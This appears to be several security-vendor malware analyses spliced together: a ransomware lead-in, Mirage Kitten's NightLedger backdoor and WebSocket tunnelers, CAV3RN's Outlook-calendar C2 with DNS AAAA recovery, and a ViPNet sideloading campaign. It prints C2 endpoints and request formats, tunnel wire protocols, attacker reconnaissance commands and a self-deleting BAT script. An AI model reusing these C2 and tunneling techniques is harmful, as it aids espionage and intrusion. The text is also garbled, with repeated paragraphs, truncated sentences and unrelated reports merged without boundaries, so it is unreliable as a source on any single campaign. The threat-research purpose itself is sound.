Toy Ghouls are ramping up their campaign against Russian enterprises. The rollout of their home‑grown encryption Trojan GenieLocker marks a major upgrade to the group’s ransomware toolkit. By engineering bespoke ransomware that runs natively on Windows, Linux, and ESXi, the actor has cut their dependence on off‑the‑shelf ransomware families and unified the cryptographic backbone across all targeted platforms.
Kaspersky’s products detect this malware as Trojan-Ransom.Win64.Agent.genie, HEUR:TrojanRansom.Win64.Generic, Trojan-Ransom.Linux.Agent.genie.
Introduction
Mirage Kitten – also known as UNC1549, Smoke Sandstorm, and Nimbus Manticore – is an advanced persistent threat (APT) group focused on cyber-espionage operations against aerospace, aviation, defense, and telecommunications sectors across the Middle East and Africa, using highly targeted spear-phishing campaigns, fake recruitment portals, and custom multi-stage malware to gain persistent access and exfiltrate sensitive data.
During recent threat research, we identified a previously u
Mirage Kitten – also known as UNC1549, Smoke Sandstorm, and Nimbus Manticore – is an advanced persistent threat (APT) group focused on cyber-espionage operations against aerospace, aviation, defense, and telecommunications sectors across the Middle East and Africa, using highly targeted spear-phishing campaigns, fake recruitment portals, and custom multi-stage malware to gain persistent access and exfiltrate sensitive data.
During recent threat research, we identified a previously undocumented malware set developed and used by Mirage Kitten. The toolset includes NightLedger, a new Windows backdoor for reconnaissance, command execution, file operations, process discovery, and screenshot capture; and two custom WebSocket-based tunnelers, ArcBridge and BridgeHead, for covert network access and operator-controlled tunneling.
Technical details
Although the initial access vector remains unclear for most malware samples observed in this activity, we saw BridgeHead being deployed during post-exploitation activities in victim environments in Egypt and at a Pakistan-based aerospace and aviation organization. The deployment followed targeted spear-phishing activity consistent with tradecraft we recently documented as part of our private threat intelligence reporting service and publicly reported by Unit 42 and Check Point Research, including the use of highly tailored social engineering lures against selected targets. These lures included recruitment-themed content impersonating trusted brands and hiring platforms, as well as lookalike videoconferencing pages that redirected victims to malicious archives hosted on third-party file-sharing services.
NightLedger backdoor
NightLedger is a recently identified Windows backdoor that we attribute to Mirage Kitten based on code and behavioral similarities to the historical implants developed and used by the group. The implant masquerades as SspiCli.dll and appears to be designed for DLL search-order hijacking, targeting a legitimate AppVShNotify.exe binary. While AppVShNotify.exe does not directly import SspiCli.dll, it imports RPCRT4.dll, which can delay-load SspiCli.dll when it invokes an RPC API that requires authentication. This allows a co-located malicious SspiCli.dll to be loaded while forwarding expected exports to the legitimate DLL.
When started, the malicious DLL creates the mutex A8215357-F99A-44FE-BC65-D8F0434B0C03 to enforce a single running instance. If the mutex already exists, it exits immediately.
NightLedger periodically contacts its C2 over HTTPS, issuing an HTTP GET request to the /edfcvfgbhnjmkqwasderfgg endpoint at the realhealthshop[.]com domain, and uses tjconsultingservices[.]com as a fallback C2.
When a valid C2 response is received, the implant tokenizes the payload using the custom delimiter (#%%#) and passes the parsed fields to its command dispatcher. From a development standpoint, this is similar to TWOSTROKE, a backdoor attributed to the same APT and previously documented by GTIG, whose C2 response is hex-encoded and uses (@##@) as a field separator.
NightLedger supports the following commands:
Command ID
Description
1
Gather user and host identity information
3
Execute a process/program
17
List directories
20
Download a file to the infected system
25
Gather host and network information
27
Copy a file
30
Update beacon interval
36
Take a screenshot
43
Load a DLL
56
Kill a process
62
Delete a file
69
Terminate thread
70
Upload file to C2 server via POST request to /qasxcdfvgbhnmyuioplkhnj
75
Enumerate logical drives
90
List processes
93
Collect C:\Windows\debug\NetSetup.log together with process-list output.
NetSetup.log is a Windows diagnostic log generated under C:\Windows\debug\ during domain/workgroup join, unjoin, and related network setup operations.
Command output is returned to the C2 via an HTTP POST request to /wsdefvvbnhyuijkplmbgfrtt.
BridgeHead – a WebSocket tunneler
During our investigation, we encountered a tunnel proxy deployed as unbcl.dll in the %LocalAppData%\Microsoft\VisualStudio directory on a machine in Egypt. We also identified a similar deployment in a Pakistan-based environment, where the tunneling tool was stored as C:\program files (x86)\univpn\promote\libwinpthread-1.dll. The malware dynamically loads advapi32.dll, resolves GetUserNameA, retrieves the current Windows username, converts it to lowercase, and searches for a specific substring in it. This behavior suggests prior reconnaissance was performed within the internal network and the username check is needed to make sure it runs on a specific machine. This is potentially intended to prevent execution of the standalone malware sample inside virtual analysis systems. If the substring is not found, the function returns silently without activating.
If the username check was successful, the tunneler establishes an HTTPS WebSocket connection as follows:
GET /connect HTTP/1.1
Host: smartconnect.azurewebsites.net
Upgrade: websocket
Connection: Upgrade
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38
The server responds with HTTP 101 (Switching Protocols) to complete the WebSocket upgrade. After the upgrade, the client sends a binary WebSocket message containing the literal string "token" as authentication. The server must respond within 10 seconds, or the connection is dropped and retried with exponential backoff.
The malware’s next action depends on the HTTP response returned by the server:
HTTP response
Description
407 (Proxy Auth Required)
Queries supported auth schemes via WinHttpQueryAuthSchemes, selects Negotiate (0x10) or NTLM (0x2) in that exact order, sets Windows SSO credentials (null username/password), retries up to 3 times.
101 (Switching Protocols)
Success. Proceeds to WebSocket upgrade and authentication.
Other
Connection failed. Closes all handles, enters backoff.
This implementation closely mirrors the enterprise proxy traversal logic seen in the backdoor we track internally as Retrograde, which overlaps with tooling publicly reported as MiniFast/MiniUpdate, attributed to the same APT group. The implant is designed to operate through corporate proxy environments by handling HTTP 407 responses, negotiating Windows-integrated proxy authentication with Negotiate preferred over NTLM, retrying with the current user’s SSO context, and falling back to exponential C2 connection retry logic capped at 60 seconds.
Once the WebSocket channel is established and authenticated, the implant functions as a full SOCKS5 tunnel proxy. The C2 server initiates all tunnel connections by sending binary commands over the WebSocket; the implant simply forwards traffic between server‑specified targets and the WebSocket channel. This makes it a relay node: the operator runs tools server‑side, and all resulting TCP traffic is tunneled through the victim’s machine as if originating from the victim’s network.
All tunnel communication uses a fixed binary wire format:
Offset
Size
Field
Encoding
0
1
type
Message type (1–9)
1
4
connId
Tunnel connection identifier
5
1
flags
Status or error indicator
6
2
dataLen
Payload length
8
var
payload
Message data
Every message is at least 8 bytes. Seven message types are actively used:
Type
Name
Direction
Description
1
CONNECT
Server -> Client
Open a new TCP tunnel to a SOCKS5 target address
2
CONNECT_RESPONSE
Client -> Server
Confirm the connection was established
3
DATA
Bidirectional
Relay TCP traffic through the tunnel
4
DISCONNECT
Bidirectional
Close a tunnel connection
5
PING
Bidirectional
Keepalive probe, sent every 30 seconds by timer
6
PONG
Bidirectional
Keepalive reply
9
FLOWCTRL
Bidirectional
Throttle data flow to prevent buffer overrun
The CONNECT payload specifies where the implant should open a TCP connection. The target address is encoded in SOCKS5 format and consists of a single type byte, followed by the address and a 2-byte destination port:
Type byte
Description
0x01
IPv4 address (4 bytes)
0x03
Domain name (1-byte length + string)
0x04
IPv6 address (16 bytes)
Notably, in the process of threat hunting, we detected another variant (MD5: C832ECD135781B11F59E3FFFB3D2B6AC) that shares the same dynamic-resolve stub pattern. This variant communicates with businessmixture.com/blog over WSS on port 443, and not through Microsoft Azure. Still, it implements the same technique of limiting execution to a specific username on the infected machine by hardcoding a 3-character control value that must appear as a substring in the lowercased Windows username retrieved via GetUserNameA. If the match fails, the implant silently exits, confirming per-target tailoring of each deployed binary.
ArcBridge: another WebSocket tunneling tool
ArcBridge is another WebSocket tunneling tool developed and used by Mirage Kitten. We first identified it in April 2026 in activity targeting victims in the Middle East. The malware creates a mutex named F56E68DA-4A89-46B4-9AC8-7290A7651000 to enforce single-instance execution. The use of a UUID-like mutex name is consistent with the NightLedger backdoor described earlier.
The malware contains an embedded configuration block that stores the C2 host, C2 port, retry or timeout value, SSL flag, and what is highly likely an implant identifier:
After initialization, ArcBridge communicates over a WebSocket-style channel and waits for server-side control messages. It supports the following commands:
Command
Description
OPEN:
Creates a proxy/tunnel session to a target selected by the operator.
DNS:
Performs hostname or address resolution and returns the result.
Victimology
According to our telemetry, we identified victims across Middle East and African countries including Egypt, SMB and government environments in Jordan and Tanzania, aviation organizations in Pakistan, telecommunication companies in Ethiopia and financial-sector entities in Burkina Faso.
Conclusion
Mirage Kitten continues to evolve its malware arsenal to support targeted cyber-espionage operations across the Middle East and Africa regions. The NightLedger backdoor retains similar core command functionality to TWOSTROKE while introducing additional capabilities, including screenshot capture and collection of the NetSetup.log file.
Another notable aspect of the campaign is the group’s continued reliance on tunneling utilities as part of its operational toolkit. This aligns with previous public reporting, which documented the group’s use of the LIGHTRAIL and POLLBLEND tunnelers. Consistent with this tradecraft, we observed Mirage Kitten continuing to leverage tunneling capabilities alongside a gradual shift away from Microsoft Azure subdomain-style infrastructure in favor of Cloudflare-backed domains in some of its malware, a change likely intended to complicate attribution while maintaining resilient command-and-control communications.
Introduction
In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026, we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture wit
In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026, we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.
Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.
Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.
Module network communication architecture
During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.
Technical details
The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.
Project CAV3RN architecture (April 2026)
The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.
C2 communication module
The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.
The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.
The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.
For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.
Outlook calendar events as a C2 channel
The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.
Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.
If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:
{
"TenantId": "******-****-****-****-**********", // Microsoft Entra tenant ID
"ClientId": "********-****-****-****-************", // application/client ID
"ClientSecret": "********************************************",
"UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox
"Host": "cloudlanecdn[.]com", // DNS bootstrap domain
"PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key
"PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key
}
Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to https://graph.microsoft.com/v1.0/organization.
Attempting this request causes the Azure Identity library to obtain an OAuth application token:
POST https://login.microsoftonline.com/<TenantId>/oauth2/v2.0/token
client_id=<ClientId>
client_secret=<ClientSecret>
scope=https://graph.microsoft.com/.default
grant_type=client_credentials
After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.
Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.
Subject format
Purpose
Module behavior
Event ID: <agent-id>
Operator-to-agent command
Searches for the event, downloads its attachments, and deletes it after consumption
Boss update ID: <agent-id>1500
Agent heartbeat
Deletes the previous heartbeat event and creates a replacement
Boss Report ID: <agent-id>1500
Agent-to-operator command output
Creates an event, uploads encrypted result attachments, and assigns the final subject
Receiving a command
For a get request, the module queries calendarView and filters the results by the Agent ID:
GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')
If Graph returns one or more matches, the module selects the first returned event and requests its attachments:
GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments
Authorization: Bearer <access-token>
After obtaining the attachment response, the module deletes the calendar event:
Our analysis found a consistent difference in capitalization between command and result attachments:
Attachment name
Direction
Associated subject
file0.txt
Operator to agent
Event ID: <agent-id>
File0.txt
Agent to operator
Boss Report ID: <agent-id>1500
Inbound command decryption
Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.
The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.
Encrypted attachment stored in a calendar event
After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.
Decrypted command
The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.
Sending command output
For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.
To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.
This process uses the following sequence of Microsoft Graph requests:
POST /v1.0/users/***@*********.co.il/calendar/events
POST /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments
PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.
Heartbeat handling
The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:
GET /v1.0/users/***@*********.co.il/calendarView
DELETE /v1.0/users/***@*********.co.il/events/<EventId>
POST /v1.0/users/***@*********.co.il/events
Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.
Heartbeat events use the same one-hour window in 2050 but contain no attachments.
The following figure summarizes the module’s operational workflow.
DNS AAAA configuration recovery mechanism
When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.
DNS-based configuration recovery (simplified)
The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.
The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.
For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.
The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:
Index
Configuration value
0
TenantId
1
ClientId
2
ClientSecret
3
UserEmail
Determining the field length through .p. queries
For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.
In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.
As an example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:
d.53466D4C67515A.0.p.cloudlanecdn[.]com
The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.
IPv6 AAAA record payload layout for obtaining length
In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.
To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.
Field length encoding in DNS AAAA record responses (example)
Retrieving configuration data through .q. queries
After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.
The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.
Queries continue at 14-byte offsets until the declared field length has been recovered.
The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.
TenantId retrieval process via DNS AAAA records (example)
In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.
The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.
The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.
Failure handling and the sentinel AAAA response
In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.
The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypothetical because the backend was unavailable and the module handles every sentinel response in the same way.
Infrastructure
Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.
Domain
IP
First seen
ASN
Hosting
ns1.cloudlanecdn[.]com
216.126.237[.]197
144.172.108[.]205
May 2, 2026
AS 14956
RouterHosting LLC
ns2.cloudlanecdn[.]com
216.126.237[.]197
144.172.108[.]205
May 2, 2026
AS 14956
RouterHosting LLC
ns3.cloudlanecdn[.]com
216.126.237[.]197
144.172.108[.]205
May 2, 2026
AS 14956
RouterHosting LLC
ns4.cloudlanecdn[.]com
144.172.108[.]205
May 21, 2026
AS 14956
RouterHosting LLC
Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.
The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.
The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.
Attribution
In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.
Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.
Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.
OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.
Compromised regional infrastructure
OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.
Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.
Conclusions
The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.
The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.
UPD 16.07.2026: Added rules to protect companies using our Kaspersky SIEM system, and listed events for developing custom detection rules or conducting threat hunting.
UPD 16.07.2026: Added detection of the malicious activity using Kaspersky Managed Detection and Response.
UPD 16.07.2026: Added detection rules and examples using KEDR Expert.
UPD 16.07.2026: Added detection of the malicious campaign in network traffic using Kaspersky Anti Targeted Attack (KATA) with the NDR module.
UPD 16.07.2026
UPD 16.07.2026: Added rules to protect companies using our Kaspersky SIEM system, and listed events for developing custom detection rules or conducting threat hunting.
UPD 16.07.2026: Added detection of the malicious activity using Kaspersky Managed Detection and Response.
UPD 16.07.2026: Added detection rules and examples using KEDR Expert.
UPD 16.07.2026: Added detection of the malicious campaign in network traffic using Kaspersky Anti Targeted Attack (KATA) with the NDR module.
UPD 16.07.2026: Updated the list of Indicators of Compromise (IoCs) and TTPs.
We discovered a new APT attack using previously unknown tooling, which started at least in May 2026 and remains active at the time of publication. It is notable in that the implants used during the attack were launched through the ViPNet update system (a software suite for creating secure networks). During our research, we identified attempts at targeted infection of large Russian organizations in the government, energy, transport, education, and logistics sectors, as well as industry. This is not the first time an advanced group has targeted computers connected to ViPNet networks. For example, last year, we discovered a complex backdoor mimicking ViPNet updates.
Persistence via the update system
On one of the analyzed systems, we identified a malicious file named wtsapi32.dll in the directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System, which belongs to the ViPNet suite update system. By placing the file in this directory, the attackers implement the DLL Sideloading technique — the ViPNet update system executable file itcsrvup64.exe, which is launched at OS startup, is susceptible to it. Thus, during this attack, the attackers tried to implement persistence on the system through the ViPNet software update component.
HelloInjector: a loader for additional malicious components
The wtsapi32.dll component is a loader, which we named HelloInjector. Its main goal is to inject its code into the svchost.exe process and launch the malicious payload. After starting, the malware checks the process in the context of which it was launched. If the name of the main process is not svchost.exe, the loader starts iterating through all processes running in the operating system. It looks for a process whose name contains the string svchost, and whose command line contains the string netsvcs. If such a process is found, the loader injects itself into the target process using the NtWriteVirtualMemory and NtCreateThreadEx functions.
After restarting inside the new process, the loader checks the process name again for the presence of the string svchost. Having confirmed the successful check, HelloInjector loads and executes the malicious payload, which is stored in its body in plain text, in memory.
HelloProxy: a tool for traffic proxying and launching new malicious payloads
The malicious payload, which we named HelloProxy, is simultaneously a hidden proxy and a loader for the following modules sent by the command server. It works by intercepting the NtDeviceIoControlFile, closesocket, and shutdown functions. Their interception is carried out using the Microsoft Detours library.
The handlers of the closesocket and shutdown functions prevent the premature closing of sockets used for interaction with the C2. In turn, the handler of the NtDeviceIoControlFile function contains the main malicious logic. Its code implements the interception of two IOCTL codes:
AFD_RECV (0x12017)
AFD_GET_TDI_HANDLES (0x12037)
These codes are used during socket operations — their interception allows the malware to hinder security solutions operating in user mode for filtering network connections. Kaspersky security solutions detect such activity and prevent infection attempts at all stages.
The AFD_GET_TDI_HANDLES handler is responsible for socket registration, and the AFD_RECV handler initiates the processing of incoming traffic. It is worth noting that every incoming message that triggered the processing of the AFD_RECV code is logged to the file C:\users\public\tesh4RPC.txt in the format:
threadid: <Thread ID> pid=<PID>\r\n
After installing the interceptors, the malware starts listening on ports 5003 and 5060 in anticipation of the first commands from the C2 server. In order to distinguish the command server traffic from the rest of the traffic, the implant implements a handshake process: it sends two bytes 0x0502 through the socket and expects to receive a message containing the string ASDFASFSAFASDF. After the successful completion of the handshake, the processing of incoming commands continues.
Depending on the received command, there are two execution branches:
Working as a proxy. The malware accepts strings in the following format:
<ip_addr>:<port>
Afterwards, it creates new sockets and starts forwarding traffic between them.
Working as a loader. The malware accepts an executable file from the command server, after which it loads it into the memory of its own process and launches it in a separate thread.
During the research, we managed to discover two malicious payloads that were injected into the svchost process, likely as a result of the previously described loader’s operation:
An implant, which we named HelloExecutor, with the help of which attackers can execute commands on the infected system.
A module for cleaning ViPNet software log files, which we named HelloCleaner. It allows hiding the attackers’ actions in the system.
We established that the HelloExecutor backdoor was used for reconnaissance in the networks of infected organizations. The following shell commands were executed:
query user
ipconfig /all
ping 8.8.8.8 -n 1
net user /do
net group /do
dir "C:\Program Files (x86)"
dir "C:\Program Files (x86)\infotecs\"
dir "C:\Program Files (x86)\infotecs\ViPNet Administrator"
dir "C:\Program Files (x86)\infotecs\ViPNet Client\Export"
dir "C:\Program Files (x86)\infotecs\ViPNet Client"
dir "С:\ProgramData\Infotecs\ViPNet Administrator\kc\Export\"
dir "$appdata\Infotecs\ViPNet Administrator\kc\Export\ Dst for network <номер сети удален>"
dir c:\users\[username]
query user
dir C:\Users\Public\music
In these commands, the mention of the directory C:\Users\Public\Music is notable. We established that on infected machines, the attackers used this directory when launching an SSH tunnel from the infected infrastructure to the attackers’ command server (5.39.253[.]206). The attackers launched a renamed executable file of the legitimate PuTTY utility (a client for various remote access protocols):
HelloBackdoor: a Rust-based backdoor for file system manipulations
In addition to this, a backdoor written in the Rust language, which we named HelloBackdoor, was discovered on one of the infected systems. It accepts connections on port 443, waiting for the string 47c6235b4d2611184 (the second half of the MD5 hash of the string hello\n) to activate the backdoor. This backdoor further accepts the following commands:
!upload — upload a file to the infected machine !down — download a file from the infected machine !stop — stop the backdoor’s operation. For this, a BAT file is created and executed with the following content:
@echo off
:loop
if exist <selfpath> (
del /F /Q <selfpath>
if exist <selfpath> goto loop
)
sc stop iplircontrol >nul
timeout 5 > nul
sc start iplircontrol > nul
(goto) 2>nul & del /F /Q %0
If the command text did not match the above list, the command is executed using cmd.exe.
Attribution
During the analysis of one of the wtsapi32.dll file samples, we found an unused string:
It refers to the news portal sina.com, which is popular in China.
In addition, while analyzing the strings in the HelloBackdoor backdoor, we established that during compilation, Rust packages (crates) were downloaded from the mirror mirrors.ustc.edu.cn. Most likely, these strings remained in the malicious files unintentionally. However, the probability of using “false flags” implanted by attackers to complicate the attribution process cannot be excluded. At present, we link this campaign to the activities of an unknown Chinese-speaking APT group with a low degree of confidence.
Recommendations
Given that this is not the first time ViPNet has been used by advanced threat actor to conduct cyberattacks, we recommend paying special attention to the protection of workstations running this software. In particular, network traffic monitoring should be configured on the ports specified in the article for timely detection of signs of compromise.
Countering complex targeted attacks requires a comprehensive approach that combines security technologies operating at various stages of the cyberattack lifecycle. Such a multi-level security model helps not only to detect but also to prevent this category of incidents. This approach is embedded in the architecture of the Kaspersky Next Expert range of solutions, designed to protect businesses from APT-level threats, including attacks similar to the one described in this article.
Kaspersky solutions detect this threat with the following verdicts:
